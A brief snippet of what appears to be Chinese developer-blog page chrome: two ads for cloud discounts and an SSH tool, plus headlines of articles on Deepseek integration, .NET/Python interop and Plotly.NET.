【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库